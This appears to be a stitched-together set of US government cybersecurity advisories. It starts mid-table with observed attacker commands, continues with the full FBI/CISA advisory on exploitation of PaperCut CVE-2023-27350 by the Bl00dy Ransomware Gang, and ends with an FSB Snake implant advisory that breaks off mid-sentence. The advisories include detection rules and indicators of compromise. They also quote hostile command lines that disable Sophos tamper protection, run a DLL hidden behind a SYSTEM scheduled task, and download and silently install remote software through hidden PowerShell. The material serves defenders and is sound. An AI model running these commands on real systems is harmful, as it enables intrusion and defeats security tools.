"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /* v fAllowToGetHelp /t REG_DWORD /d 1 /f Adds/overwrites a new Registry value to allow a user to receive help from Remote Assistance. reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sophos Endpoint * Defense\TamperProtection\Config" /t REG_DWORD /v SAVEnabled /d 0 /f Adds/overwrites a new Registry value to disable tamper protection for Sophos antivirus named SAVEnabled. reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sophos Endpoint * Defense\TamperProtection\Config" /t REG_DWORD /v SEDEnabled /d 0 /f Adds/overwrites a new Registry value to disable tamper protection for Sophos antivirus named SEDEnabled. reg.exe ADD * HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Sophos\SAVService\TamperProtection /t REG_DWORD /v Enabled /d 0 /f Adds/overwrites a new registry value to disable tamper protection for a Sophos antivirus service called SAVService. reg.exe copy hklm\system\CurrentControlSet\services\tvnserver * hklm\system\CurrentControlSet\control\safeboot\network\tvnserver /s /f Copies the configuration settings for the tvnserver service to a new location in the registry that will be used when the computer boots into Safe Mode with Networking. This allows the service to run with the same settings in Safe Mode as it does in normal mode. s.exe /threads:50 /ldap:all /verbose /outfile:c:\users\\desktop\1.txt Executes SharpShares. schtasks.exe /RU SYSTEM /create /sc ONCE / /tr "cmd.exe /crundll32.exe c:\programdata\netsh.dll,Entry" /ST 04:43 Creates a Scheduled Task run as SYSTEM at 0443 AM. When the task is run, cmd.exe uses crundll32.exe to run the DLL file netsh.dll. (It is likely that netsh.dll is a malware file and not associated with netsh.) start-process PowerShell.exe -arg C:\Users\Public\Music\.ps1 -WindowStyle Hidden Executes a PowerShell script, while keeping the PowerShell window hidden from the user. Disclaimer The information in this report is being provided “as is” for informational purposes only. FBI, CISA, and ACSC do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI, CISA, or ACSC.  

SUMMARY The Federal Bureau of Investigation (FBI) and Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint Cybersecurity Advisory (CSA) in response to the active exploitation of CVE-2023-27350. This vulnerability occurs in certain versions of PaperCut NG and PaperCut MF and enables an unauthenticated actor to execute malicious code remotely without credentials. PaperCut released a patch in March 2023. According to FBI observed information, malicious actors exploited CVE-2023-27350 beginning in mid-April 2023 and continuing through the present. In early May 2023, also according to FBI information, a group self-identifying as the Bl00dy Ransomware Gang attempted to exploit vulnerable PaperCut servers against the Education Facilities Subsector. This joint advisory provides detection methods for exploitation of CVE-2023-27350 as well and indicators of compromise (IOCs) associated with Bl00dy Ransomware Gang activity. FBI and CISA strongly encourage users and administrators to immediately apply patches, and workarounds if unable to patch. FBI and CISA especially encourage organizations who did not patch immediately to assume compromise and hunt for malicious activity using the detection signatures in this CSA. If potential compromise is detected, organizations should apply the incident response recommendations included in this CSA. Download the PDF version of this report (653kb): AA23-131A_Malicious_Actors_Exploit_CVE-2023-27350_in_PapercCut_MF_and_NG.pdf (PDF, 652.93 KB ) For a downloadable copy of IOCs (55kb), see: AA23-131A.STIX_.XML (XML, 54.98 KB ) TECHNICAL DETAILS Vulnerability Overview CVE-2023-27350 allows a remote actor to bypass authentication and conduct remote code execution on the following affected installations of PaperCut:[1] Version 8.0.0 to 19.2.7 Version 20.0.0 to 20.1.6 Version 21.0.0 to 21.2.10 Version 22.0.0 to 22.0.8 PaperCut servers vulnerable to CVE-2023-27350 implement improper access controls in the SetupCompleted Java class, allowing malicious actors to bypass user authentication and access the server as an administrator. After accessing the server, actors can leverage existing PaperCut software features for remote code execution (RCE). There are currently two publicly known proofs of concept for achieving RCE in vulnerable PaperCut software: Using the print scripting interface to execute shell commands. Using the User/Group Sync interface to execute a living-off-the-land-style attack. FBI and CISA note that actors may develop other methods for RCE. The PaperCut server process pc-app.exe runs with SYSTEM- or root-level privileges. When the software is exploited to execute other processes such as cmd.exe or powershell.exe, these child processes are created with the same privileges. Commands supplied with the execution of these processes will also run with the same privileges. As a result, a wide range of post-exploitation activity is possible following initial access and compromise. This CVE was added to CISA’s Known Exploited Vulnerabilities (KEV) Catalog on April 21, 2023. Threat Actor Activity Education Facilities Subsector entities maintained approximately 68% of exposed, but not necessarily vulnerable, U.S.-based PaperCut servers. In early May 2023, according to FBI information, the Bl00dy Ransomware Gang gained access to victim networks across the Education Facilities Subsector where PaperCut servers vulnerable to CVE-2023-27350 were exposed to the internet. Ultimately, some of these operations led to data exfiltration and encryption of victim systems. The Bl00dy Ransomware Gang left ransom notes on victim systems demanding payment in exchange for decryption of encrypted files (see Figure 1). Figure 1: Example Bl00dy Gang Ransomware NoteAccording to FBI information, legitimate remote management and maintenance (RMM) software was downloaded and executed on victim systems via commands issued through PaperCut’s print scripting interface. External network communications through Tor and/or other proxies from inside victim networks helped Bl00dy Gang ransomware actors mask their malicious network traffic. The FBI also identified information relating to the download and execution of command and control (C2) malware such as DiceLoader, TrueBot, and Cobalt Strike Beacons, although it is unclear at which stage in the attack these tools were executed. DETECTION METHODS Network defenders should focus detection efforts on three key areas: Network traffic signatures – Look for network traffic attempting to access the SetupCompleted page of an exposed and vulnerable PaperCut server. System monitoring – Look for child processes spawned from a PaperCut server’s pc-app.exe process. Server settings and log files – Look for evidence of malicious activity in PaperCut server settings and log files. Network Traffic Signatures To exploit CVE-2023-27350, a malicious actor must first visit the SetupCompleted page of the intended target, which will provide the adversary with authentication to the targeted PaperCut server. Deploy the following Emerging Threat Suricata signatures to detect when GET requests are sent to the SetupCompleted page. (Be careful of improperly formatted double-quotation marks if copying and pasting signatures from this advisory.) Note that some of the techniques identified in this section can affect the availability or stability of a system. Defenders should follow organizational policies and incident response best practices to minimize the risk to operations while threat hunting.  alert http any any -> $HOME_NET any (\   msg:"ET EXPLOIT PaperCut MF/NG SetupCompleted Authentication Bypass (CVE-2023-27350)"; \   flow:established,to_server; \   http.method; content:"GET"; \   http.uri; content:"/app?service=page/SetupCompleted"; bsize:32; fast_pattern; \   reference:cve,2023-27350; \   classtype:attempted-admin; \ alert http any any -> $HOME_NET any (msg:"ET EXPLOIT PaperCut MF/NG SetupCompleted Authentication Bypass (CVE-2023-27350)"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"page/SetupCompleted"; fast_pattern; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; reference:cve,2023-27350; classtype:attempted-admin; metadata:attack_target Server, cve CVE_2023_27350, deployment Perimeter, deployment Internal, deployment SSLDecrypt, former_category EXPLOIT, performance_impact Low, confidence High, signature_severity Major, updated_at 2023_05_05;) Note that these signatures and other rule-based detections, including YARA rules, may fail to detect more advanced iterations of CVE-2023-27350 exploits. Actors are known to adapt exploits to circumvent rule-based detections formulated for the original iterations of exploits observed in the wild. For example, the first rule above detected some of the first known exploits of CVE-2023-27350, but a slight modification of the exploit’s GET request can evade that rule. The second rule was designed to detect a broader range of activity than the first rule. The following additional Emerging Threat Suricata signatures are designed to detect Domain Name System (DNS) lookups of known malicious domains associated with recent PaperCut exploitation: alert dns $HOME_NET any -> any any (msg:"ET TROJAN Possible PaperCut MF/NG Post Exploitation Domain in DNS Lookup (windowcsupdates .com)"; dns_query; content:"windowcsupdates.com"; nocase; isdataat:!1,relative; pcre:"/(?:^|\.)windowcsupdates\.com$/"; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; classtype:trojan-activity; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, former_category MALWARE, performance_impact Low, signature_severity Major, updated_at 2023_04_21;) alert dns $HOME_NET any -> any any (msg:"ET ATTACK_RESPONSE Possible PaperCut MF/NG Post Exploitation Domain in DNS Lookup (anydeskupdate .com)"; dns_query; content:"anydeskupdate.com"; nocase; isdataat:!1,relative; pcre:"/(?:^|\.)anydeskupdate\.com$/"; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; classtype:trojan-activity; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, former_category MALWARE, performance_impact Low, signature_severity Major, updated_at 2023_04_21;) alert dns $HOME_NET any -> any any (msg:"ET TROJAN Possible PaperCut MF/NG Post Exploitation Domain in DNS Lookup (anydeskupdates .com)"; dns_query; content:"anydeskupdates.com"; nocase; isdataat:!1,relative; pcre:"/(?:^|\.)anydeskupdates\.com$/"; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; classtype:trojan-activity; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, former_category MALWARE, performance_impact Low, signature_severity Major, updated_at 2023_04_21;) alert dns $HOME_NET any -> any any (msg:"ET TROJAN Possible PaperCut MF/NG Post Exploitation Domain in DNS Lookup (windowservicecemter .com)"; dns_query; content:"windowservicecemter.com"; nocase; isdataat:!1,relative; pcre:"/(?:^|\.)windowservicecemter\.com$/"; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; classtype:trojan-activity; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, former_category MALWARE, performance_impact Low, signature_severity Major, updated_at 2023_04_21;) alert dns $HOME_NET any -> any any (msg:"ET ATTACK_RESPONSE Possible PaperCut MF/NG Post Exploitation Domain in DNS Lookup (winserverupdates .com)"; dns_query; content:"winserverupdates.com"; nocase; isdataat:!1,relative; pcre:"/(?:^|\.)winserverupdates\.com$/"; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; classtype:trojan-activity; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, former_category MALWARE, performance_impact Low, signature_severity Major, updated_at 2023_04_21;) alert dns $HOME_NET any -> any any (msg:"ET TROJAN Possible PaperCut MF/NG Post Exploitation Domain in DNS Lookup (netviewremote .com)"; dns_query; content:"netviewremote.com"; nocase; isdataat:!1,relative; pcre:"/(?:^|\.)netviewremote\.com$/"; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; classtype:trojan-activity; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, former_category MALWARE, performance_impact Low, signature_severity Major, updated_at 2023_04_21;) alert dns $HOME_NET any -> any any (msg:"ET TROJAN Possible PaperCut MF/NG Post Exploitation Domain in DNS Lookup (updateservicecenter .com)"; dns_query; content:"updateservicecenter.com"; nocase; isdataat:!1,relative; pcre:"/(?:^|\.)updateservicecenter\.com$/"; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; classtype:trojan-activity; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, former_category MALWARE, performance_impact Low, signature_severity Major, updated_at 2023_04_21;) alert dns $HOME_NET any -> any any (msg:"ET TROJAN Possible PaperCut MF/NG Post Exploitation Domain in DNS Lookup (windowservicecenter .com)"; dns_query; content:"windowservicecenter.com"; nocase; isdataat:!1,relative; pcre:"/(?:^|\.)windowservicecenter\.com$/"; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; classtype:trojan-activity; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, former_category MALWARE, performance_impact Low, signature_severity Major, updated_at 2023_04_21;) alert dns $HOME_NET any -> any any (msg:"ET TROJAN Possible PaperCut MF/NG Post Exploitation Domain in DNS Lookup (windowservicecentar .com)"; dns_query; content:"windowservicecentar.com"; nocase; isdataat:!1,relative; pcre:"/(?:^|\.)windowservicecentar\.com$/"; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; classtype:trojan-activity; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, former_category ATTACK_RESPONSE, performance_impact Low, signature_severity Major, updated_at 2023_04_21;) Note that these signatures may also not work if the actor modified activity to evade detection by known rules. System Monitoring A child process is spawned under pc-app.exe when the vulnerable PaperCut software is used to execute another process, which is the PaperCut server process. Malicious activity against PaperCut servers in mid-April used the RCE to supply commands to a cmd.exe or powershell.exe child process, which were then used to conduct further network exploitation. The following YARA rule may detect malicious activity[2]. title: PaperCut MF/NG Vulnerability  authors: Huntress DE&TH Team description: Detects suspicious code execution from vulnerable PaperCut versions MF and NG  logsource:   category: process_creation    product: windows  detection:    selection:      ParentImage|endswith: “\\pc-app.exe”      Image|endswith:         - “\\cmd.exe”        - “\\powershell.exe”    condition: selection  level: high  falsepositives:        - Expected admin activity More advanced versions of the exploit can drop a backdoor executable, use living-off-the-land binaries, or attempt to evade the above YARA rule by spawning an additional child process in-between pc-app.exe and a command-line interpreter. Server Settings and Log Files Network defenders may be able to identify suspicious activity by reviewing the PaperCut server options to identify unfamiliar print scripts or User/Group Sync settings. If the PaperCut Application Server logs have debug mode enabled, lines containing SetupCompleted at a time not correlating with the server installation or upgrade may be indicative of a compromise. Server logs can be found in [app-path]/server/logs/*.* where server.log is normally the most recent log file. Any of the following server log entries may be indicative of a compromise: User "admin" updated the config key “print.script.sandboxed” User "admin" updated the config key “device.script.sandboxed” Admin user "admin" modified the print script on printer User/Group Sync settings changed by "admin" Indicators of Compromise See Table 1 through Table 6 for IOCs obtained from FBI investigations and open-source information as of early May 2023. Table 1: Bl00dy Gang Ransomware Email Addresses Email Addresses decrypt.support@privyonline[.]com fimaribahundqf@gmx[.]com main-office@data-highstream[.]com prepalkeinuc0u@gmx[.]com tpyrcne@onionmail[.]org   Table 2: Bl00dy Gang Ransomware Tox ID Tox ID E3213A199CDA7618AC22486EFECBD9F8E049AC36094D56AC1BFBE67EB9C3CF2352CAE9EBD35F   Table 3: Bl00dy Gang Ransomware IP addresses IP Address Port >Date Description 102.130.112[.]157 - April 2023 N/A 172.106.112[.]46 - April 2023 Resolves to Tor node. Network communications with nethelper.exe. 176.97.76[.]163 - April 2023 Resolves to datacenter Tor node. 192.160.102[.]164     April 2023 Resolves to Tor node. Network communications with nethelper.exe. 194.87.82[.]7 - April 2023 TrueBot C2. DiceLoader malware. 195.123.246[.]20 - April 2023 TrueBot C2. DiceLoader malware. 198.50.191[.]95     April 2023 Resolves to Tor node. Network communications with nethelper.exe. 206.197.244[.]75 >443 April 2023 N/A 216.122.175[.]114     April 2023 Outbound communications from powershell.exe. 46.4.20[.]30   April 2023 Resolves to Tor node. Network communications with nethelper.exe. 5.188.206[.]14 - April 2023 N/A 5.8.18[.]233 - April 2023 Cobalt Strike C2. 5.8.18[.]240 - April 2023 Cobalt Strike C2. 80.94.95[.]103 - April 2023 N/A 89.105.216[.]106 443 April 2023 Resolves to Tor node. Network communications with nethelper.exe. 92.118.36[.]199 9100, 443 April 2023 Outbound communications from svchost.exe. http://192.184.35[.]216:443/ 4591187629.exe - April 2023 File 4591187629.exe is possibly cryptominer malware.   Table 4: Bl00dy Gang Ransomware Domains Malicious Domain Description anydeskupdate[.]com N/A anydeskupdates[.]com N/A ber6vjyb[.]com Associated with TrueBot C2 netviewremote[.]com N/A study.abroad[.]ge Associated with Cobalt Strike Beacon upd343.winserverupdates[.]com Associated with Cobalt Strike Beacon upd488.windowservicecemter[.]com Associated with TrueBot payload upd488.windowservicecemter[.]com/download/update.dll File: Cobalt Strike Beacon updateservicecenter[.]com N/A windowcsupdates[.]com N/A windowservicecemter[.]com Associated with TrueBot payload windowservicecentar[.]com N/A windowservicecenter[.]com N/A winserverupdates[.]com N/A winserverupdates[.]com N/A   Table 5: Bl00dy Gang Ransomware Known Commands Command Description cmd /c “powershell.exe -nop -w hidden Launches powershell.exe in a hidden window without loading the user's PowerShell profile. Invoke-WebRequest ‘/setup.msi’  -OutFile ‘setup.msi’ ” Downloads setup.msi, saving it as setup.msi, in the current PowerShell working directory. cmd /c “msiexec /i setup.msi /qn  IntegratorLogin= CompanyId=1” Installs legitimate Atera RMM software on the system silently, with the specified email address and company ID properties.   Table 6: Bl00dy Gang Ransomware Malicious Files File SHA-256 Description /windows/system32/config/ systemprofile/appdata/roaming/tor/ N/A Unspecified files created in Tor directory /windows/temp/ socks.exe 6bb160ebdc59395882ff322e67e000a22a5c54ac777b6b1f10f1fef381df9c15 Reverse SOCKS5 tunneler with TLS support (see https://github.com/kost/revsocks) /windows/temp/servers.txt N/A Unspecified content within servers.txt file; likely a list of proxy servers for revsocks(socks.exe) ld.txt c0f8aeeb2d11c6e751ee87c40ee609aceb1c1036706a5af0d3d78738b6cc4125 TrueBot malware nethelper.exe N/A Unknown file used to send outbound communications through Tor update.dll 0ce7c6369c024d497851a482e011ef1528ad270e83995d52213276edbe71403f Cobalt Strike Beacon INCIDENT RESPONSE If compromise is suspected or detected, organizations should: Create a backup of the current PaperCut server(s). Wipe the PaperCut Application Server and/or Site Server and rebuild it. Restore the database from a “safe” backup point. Using a backup dated prior to April 2023 would be prudent, given that exploitation in-the-wild exploitation began around early April. Execute additional security response procedures and carry out best practices around potential compromise. Report the compromise to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870). The FBI encourages recipients of this document to report information concerning suspicious or criminal activity to their local FBI field office or IC3.gov. Regarding specific information that appears in this communication, the context and individual indicators, particularly those of a non-deterministic or ephemeral nature (such as filenames or IP addresses), may not be indicative of a compromise. Indicators should always be evaluated in light of an organization’s complete information security situation.  MITIGATIONS FBI and CISA recommend organizations: Upgrade PaperCut to the latest version. If unable to immediately patch, ensure vulnerable PaperCut servers are not accessible over the internet and implement one of the following network controls: Option 1: External controls: Block all inbound traffic from external IP addresses to the web management portal (port 9191 and 9192 by default). Option 2: Internal and external controls: Block all traffic inbound to the web management portal. Note: The server cannot be managed remotely after this step. Follow best cybersecurity practices in your production and enterprise environments, including mandating phishing-resistant multifactor authentication (MFA) for all staff and for all services. For additional best practices, see CISA’s Cross-Sector Cybersecurity Performance Goals (CPGs). The CPGs, developed by CISA and the National Institute of Standards and Technology (NIST), are a prioritized subset of IT and OT security practices that can meaningfully reduce the likelihood and impact of known cyber risks and common TTPs. Because the CPGs are a subset of best practices, CISA and FBI also recommend all organizations implement a comprehensive information security program based on a recognized framework, such as the NIST Cybersecurity Framework (CSF). ACKNOWLEDGMENTS The Multi-State Information Sharing and Analysis Center (MS-ISAC) contributed to this advisory. REFERENCES [1] PaperCut: URGENT | PaperCut MF/NG vulnerability bulletin (March 2023) [2] Huntress: Critical Vulnerabilities in PaperCut Print Management Software This product is provided subject to this Notification and this Privacy & Use policy.

SUMMARY The Snake implant is considered the most sophisticated cyber espionage tool designed and used by Center 16 of Russia’s Federal Security Service (FSB) for long-term intelligence collection on sensitive targets. To conduct operations using this tool, the FSB created a covert peer-to-peer (P2P) network of numerous Snake-infected computers worldwide. Many systems in this P2P network serve as relay nodes which route disguised operational traffic to and from Snake implants on the FSB’s ultimate targets. Snake’s custom communications protocols employ encryption and fragmentation for confidentiality and are designed to hamper detection and collection efforts. We have identified Snake infrastructure in over 50 countries across North America, South America, Europe, Africa, Asia, and Australia, to include the United States and Russia itself. Although Snake uses infrastructure across all industries, its targeting is purposeful and tactical in nature. Globally, the FSB has used Snake to collect sensitive intelligence from high-priority targets, such as government networks, research facilities, and journalists. As one example, FSB actors used Snake to access and exfiltrate sensitive international relations documents, as well as other diplomatic communications, from a victim in a North Atlantic Treaty Organization (NATO) country. Within the United States, the FSB has victimized industries including education, small businesses, and media organizations, as well as critical infrastructure sectors including government facilities, financial services, critical manufacturing, and communications. This Cybersecurity Advisory (CSA) provides background on Snake’s attribution to the FSB and detailed technical descriptions of the implant’s host architecture and network communications. This CSA also addresses a recent Snake variant that has not yet been widely disclosed. The technical information and mitigation recommendations in this CSA are provided to assist network defenders in detecting Snake and associated activity. For more information on FSB and Russian state-sponsored cyber activity, please see the joint advisory Russian State-Sponsored and Criminal Cyber Threats to Critical Infrastructure and CISA’s Russia Cyber Threat Overview and Advisories webpage. Download the PDF version of this report: Hunting Russian Intelligence “Snake” Malware (PDF, 4.11 MB ) INTRODUCTION What is Snake? We consider Snake to be the most sophisticated cyber espionage tool in the FSB’s arsenal. The sophistication of Snake stems from three principal areas. First, Snake employs means to achieve a rare level of stealth in its host components and network communications. Second, Snake’s internal technical architecture allows for easy incorporation of new or replacement components. This design also facilitates the development and interoperability of Snake instances running on different host operating systems. We have observed interoperable Snake implants for Windows, MacOS, and Linux operating systems. Lastly, Snake demonstrates careful software engineering design and implementation, with the implant containing surprisingly few bugs given its complexity. Following open source reporting by cybersecurity and threat intelligence companies on Snake tactics, techniques, and procedures (TTPs), the FSB implemented new techniques to evade detection. The modifications to the implant enhanced challenges in identifying and collecting Snake and related artifacts, directly hampering detection from both host- and network-based defensive tools. The effectiveness of this type of cyber espionage implant depends entirely on its long-term stealth, since the objective of an extended espionage operation involves remaining on the target for months or years to provide consistent access to important intelligence. The uniquely sophisticated aspects of Snake represent significant effort by the FSB over many years to enable this type of covert access. Background The FSB began developing Snake as “Uroburos” in late 2003. Development of the initial versions of the implant appeared to be completed around early 2004, with cyber operations first conducted using the implant shortly thereafter. The name Uroburos is appropriate, as the FSB cycled it through nearly constant stages of upgrade and redevelopment, even after public disclosures, instead of abandoning it. The name appears throughout early versions of the code, and the FSB developers also left other unique strings, including “Ur0bUr()sGoTyOu#”, which have publicly come back to haunt them. Unique features in early versions of Uroburos included a low resolution image of a portion of a historical illustration of an uroboros by the German philosopher and theologian Jakob Böhme. One approach to a tertiary backdoor used this image as the key. The same image had also been embedded in other Snake-related components. The image, blown up to a higher resolution, is shown below. In addition, early FSB developers of the Snake implant left portions of unique code throughout the implant which reveal inside jokes, personal interests, and taunts directed at security researchers. For instance, the “Ur0bUr()sGoTyOu#” string referenced above was replaced with “gLASs D1cK” in 2014 following some of the public cybersecurity reporting. Attribution We attribute Snake operations to a known unit within Center 16 of the FSB.  This unit more broadly operates the numerous elements of the Turla  toolset, and has subunits spread throughout Russia in a reflection of historical KGB signals intelligence operations in the Soviet Union. Snake has been a core component of this unit’s operations for almost as long as Center 16 has been part of the FSB.  The extensive influence of Snake across the Turla toolset demonstrates its impact on practically every aspect of the unit’s modern era of cyber operations. Daily operations using Snake have been carried out from an FSB facility in Ryazan, Russia, with an increase in Snake activity during FSB working hours in Ryazan, approximately 7:00 AM to 8:00 PM, Moscow Standard Time (GMT+3). The main developers were Ryazan-based FSB officers known by monikers included in the code of some versions of Snake. In addition to developing Snake, Ryazan-based FSB officers used it to conduct worldwide operations; these operations were different from others launched from Moscow or other FSB sites based on infrastructure and techniques. While the development and re-tooling of Snake has historically been done by Ryazan-based FSB officers, Snake operations were also launched from an FSB Center 16-occupied building in Moscow. Our investigations have identified examples of FSB operators using Snake to its full potential, as well as FSB operators who appeared to be unfamiliar with Snake’s more advanced capabilities. These observations serve to illustrate the difficulty in using such an advanced toolset across the various geographically dispersed teams comprising this unit within FSB Center 16. We have been collectively investigating Snake and Snake-related tools for almost 20 years, as well as other operations by this unit since the 1990s. During that time, the FSB has used Snake in many different operations, and they have demonstrated the value placed in this tool by making numerous adjustments and revisions to keep it viable after repeated public disclosures and other mitigations. Snake’s code and multiple Snake-related tools have been either a starting point or a key influence factor for a diverse range of other highly prolific implants and operational tools in the Turla family. Most notably, this has included Carbon (aka Cobra)—derived from Snake’s code base—and the similarly Snake-adjacent implant Chinch (currently known in open sources as ComRAT). Victimization We have identified Snake infrastructure in over 50 countries across North America, South America, Europe, Africa, Asia, and Australia, to include the United States and Russia itself. Although Snake leverages infrastructure across all industries, its targeting is purposeful and tactical in nature. For instance, if an infected system did not respond to Snake communications, the FSB actors would strategically re-infect it within days. Globally, the FSB has used Snake to collect sensitive intelligence from high priority targets, such as government networks, research facilities, and journalists. As one example, FSB actors used Snake to access and exfiltrate sensitive international relations documents, as well as other diplomatic communications, from a victim in a NATO country. Within the United States, the FSB has victimized industries including education, small businesses, and media organizations, as well as critical infrastructure sectors including government facilities, financial services, critical manufacturing, and communications. Other Tools and TTPs Employed with Snake The FSB typically deploys Snake to external-facing infrastructure nodes on a network, and from there uses other tools and TTPs on the internal network to conduct additional exploitation operations. Upon gaining and cementing ingress into a target network, the FSB typically enumerates the network and works to obtain administrator credentials and access domain controllers. A wide array of mechanisms has been employed to gather user and administrator credentials in order to expand laterally across the network, to include keyloggers, network sniffers, and open source tools.  Typically, after FSB operators map out a network and obtain administrator credentials for various domains in the network, regular collection operations begin. In most instances with Snake, further heavyweight implants are not deployed, and they rely on credentials and lightweight remote-access tools internally within a network. FSB operators sometimes deploy a small remote reverse shell along with Snake to enable interactive operations. This triggerable reverse shell, which the FSB has used for around 20 years, can be used as a backup access vector, or to maintain a minimal presence in a network and avoid detection while moving laterally.  Snake Architecture Snake’s architectural design reflects professional software engineering practices. Critical pathways within the implant are made of stacks of loosely coupled components that implement well-designed interfaces. In addition to facilitating software development and debugging, this construction allows Snake to use multiple different components for the same purpose, choosing the specific component based on environmental considerations. For example, Snake’s custom network communications protocols function as a stack. All implementations use an encryption layer and a transport layer, such as Snake’s custom HTTP or raw TCP socket protocol. Each layer of the Snake network protocol stack solely implements a specified interface for operability with the two adjacent layers. The encryption layer and underlying transport layer thus function independently, so any custom Snake network protocol can employ an encryption overlay without any change to the encryption layer code.  This modularity allows Snake operators to choose the most logical network transport for the given environment without affecting Snake’s other functionality. When using a compromised HTTP server as part of the Snake P2P network, the operators can ensure that all traffic to this machine follows the Snake custom HTTP protocol and thereby blends effectively with legitimate traffic. In the context of a compromised machine that legitimately allows secure shell (SSH) connections, Snake can utilize its custom raw TCP socket protocol instead of its custom HTTP protocol. All other layers of the Snake protocol stack, from the immediately adjacent transport encryption layer to the distant command processing layer, can and do remain entirely agnostic to the transport layer as long as it implements its interface correctly. This architecture also allows the Snake developers to easily substitute a new communications protocol when they believe one has been compromised, without necessitating any downstream changes in the code base. Lastly, this design facilitates the development of fully interoperable Snake implants running on different host operating systems. Snake’s technical sophistication extends from the software architecture into the lower-level software implementation. Original versions of Snake were developed as early as 2003, before many of the modern programming languages and frameworks that facilitate this type of modular development were available. Snake is written entirely in C, which provides significant advantages in low-level control and efficiency, but which does not provide direct support for objects or interfaces at the language level and provides no assistance with memory management. The developers of Snake successfully implemented the implant’s complex design in C with very few bugs, including careful avoidance of the common pitfalls associated with null-terminated strings and the mixing of signed and unsigned integers. Additionally, the developers demonstrate an understanding of computer science principles throughout the implant’s implementation. This includes selecting and correctly coding asymptotically optimal algorithms, designing and utilizing efficient custom encoding methodologies that closely resemble common encoding schemes, and handling the numerous possible errors associated with systems-level programming in a secure manner. Capitalizing on Mistakes Although the Snake implant as a whole is a highly sophisticated espionage tool, it does not escape human error. A tool like Snake requires more familiarity and expertise to use correctly, and in several instances Snake operators neglected to use it as designed. Various mistakes in its development and operation provided us with a foothold into the inner workings of Snake and were key factors in the development of capabilities that have allowed for tracking Snake and the manipulation of its data. The FSB used the OpenSSL library to handle its Diffie-Hellman key exchange. The Diffie-Hellman key-set created by Snake during the key exchange is too short to be secure. The FSB provided the function DH_generate_parameters with a prime length of only 128 bits, which is inadequate for asymmetric key systems. Also, in some instances of what appeared to be rushed deployments of Snake, the operators neglected to strip the Snake binary. This led to the discovery of numerous function names, cleartext strings, and developer comments as seen in the following figure. SNAKE HOST-BASED TECHNICAL DETAILS The FSB has quickly adapted Snake when its capabilities have been publicly disclosed by private industry. Snake therefore exists in several variants, as it has evolved over almost 20 years. This CSA focuses on one of the more recent variants of Snake that up until now has not been widely disclosed. Older variants of Snake will be discussed briefly where applicable, but not discussed in depth, as many details of earlier Snake variants already exist in the public domain. Installer The Snake installer has gone by various names throughout Snake’s existence (e.g., “jpinst.exe”). This advisory will describe the version of the installer which regularly used the name “jpsetup.exe”. This executable is packed using a customized obfuscation methodology. The developers appear to have added the unpacking functionality from an open source project for viewing JPEG files. This technique serves to obfuscate the unpacking code within an otherwise legitimate code base.  The unpacking code extracts an executable, herein referred to as the “Png Exe”, and it extracts an AES encrypted blob from the Png Exe’s resources, which herein will be referred to as the “Png Resource”.  The jpsetup.exe installer requires two arguments to be passed via the command line for execution. The first argument is a wide character string hashed with SHA-256 twice, and the resulting value of these computations becomes the AES key that decrypts the Png Resource. The AES initialization vector (IV) consists of the first 16 bytes of the second argument to jpsetup.exe after prepending the argument with a wide character “1” string. Once decrypted, the Png Resource becomes an executable that will be referred to herein as “Stage 2”.  When unpacked, many components are extracted from Stage 2’s resources. Several of the resources are executables with additional resources of their own. Stage 2 creates structures from its resources, which ultimately become the host artifacts of Snake. On-Disk Components As Windows has been the most prevalent operating system targeted by Snake, this document will only discuss the Windows-based artifacts; however, Snake can be cross-compiled and is capable of running on other operating systems. On-Disk Obfuscation Snake’s host architecture and network communications allow an unusual level of stealth. Snake makes inventive use of its kernel module in both of these contexts. All known Windows versions of Snake have used a concealed storage mechanism to hide host componentry. In addition to using the kernel module to remove the relevant components from any listing returned by the operating system, Snake utilizes the kernel module to mediate any requests between Snake’s user mode components and the concealed storage mechanism, which itself is encrypted with a unique per-implant key. This unique keying creates detection difficulties even for tools that are independent of the compromised operating system, since simple signatures targeting Snake host components would be ineffective.  Persistence Mechanism The Snake version primarily discussed in this advisory registers a service to maintain persistence on a system. Typically, this service is named “WerFaultSvc,” which we assess was used to blend in with the legitimate Windows service WerSvc. On boot, this service will execute Snake’s WerFault.exe, which Snake developers chose to hide among the numerous valid Windows “WerFault.exe” files in the %windows%\WinSxS\ directory. Executing WerFault.exe will start the process of decrypting Snake’s components and loading them into memory.  Encrypted Registry Key Data Upon execution, Snake’s WerFault.exe will 